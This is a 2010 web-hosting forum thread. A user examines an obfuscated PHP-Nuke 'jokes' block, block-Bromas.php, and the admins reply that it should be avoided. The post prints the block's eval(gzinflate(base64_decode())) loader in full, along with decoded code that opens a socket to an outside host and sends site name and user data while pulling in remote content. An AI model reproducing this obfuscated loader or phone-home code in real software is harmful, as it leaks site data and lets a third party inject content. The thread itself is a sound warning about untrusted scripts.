Ravens PHP Scripts: Forums
 

 

View next topic
View previous topic
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - Other
Author Message
hicuxunicorniobestbuildpc
The Mouse Is Extension Of Arm



Joined: Aug 13, 2009
Posts: 1123

PostPosted: Sat Jan 16, 2010 6:24 pm Reply with quote

Hello to everyone. Today a friend send me a protected block. He said he download it from a spanish site but didnt want to install it. He wanted to know if it was safe to run that block on the site. Let's see why people shouldnt trust in protected files.

The name of the block is block-Bromas.php

Bromas=Jokes

Code:
<?php

$hh ="200"; //altura del bloque
/*******************************************************************************/
if (eregi("block-Bromas.php", $_SERVER['PHP_SELF'])) {
    Header("Location: index.php");
    die();
}
?>
<?
eval(gzinflate(base64_decode('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')));
?>
<?php
$content .= "".$in."";
fclose($fp);
?>


Decode files

Code:
?><?php$encoding = "iso-8859-1"; $enlo = "si";$estilo = $_POST['estilo'];$lbromas = $_GET['lbromas'];$nbromas = $_GET['nbromas'];$page_location =

$PHP_SELF;$sitename = $HTTP_HOST;$out = "GET /block-Bromas_remote.php?sitename=$sitename&userid=$userid&enlo=$enlo&li=$li&hh=$hh&nbromas=
$nbromas&lbromas=$lbromas HTTP/1.0\r\n";$out.= "Host: www.uaxconnection.com\r\n\r\n";$fp = fsockopen("www.uaxconnection.com", 80, $errno, $errstr,
30);fwrite($fp, $out);$body = false;while (!feof($fp)) {   $s = fgets($fp, 1024);   if ( $body )      $in .= $s;   if ( $s == "\r\n" )      $body = true;}?>
<?


What I notice this block is redirecting to www.uaxconnection.com and this block will stop working if the site is down and if the site has problem with the service your site wont speed up because of this tricky block. Everything there is protected like that. What do u think about it? Shocked
 
View user's profile Send private message
Raven
Site Admin/Owner



Joined: Aug 27, 2002
Posts: 17088

PostPosted: Sat Jan 16, 2010 8:01 pm Reply with quote

When in doubt - don't!
 
View user's profile Send private message
montego
Site Admin



Joined: Aug 29, 2004
Posts: 9457
Location: Arizona

PostPosted: Tue Jan 19, 2010 8:24 pm Reply with quote

Especially when the script is obfuscated like this one. I wouldn't touch it with a 10ft pole.

_________________
Only registered users can see links on this board! Get registered or login!
Only registered users can see links on this board! Get registered or login! 
View user's profile Send private message Visit poster's website
Display posts from previous:       
Post new topic   Reply to topic    Ravens PHP Scripts And Web Hosting Forum Index -> Security - Other

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You can attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2007 phpBB Group
All times are GMT - 6 Hours
 
Forums ©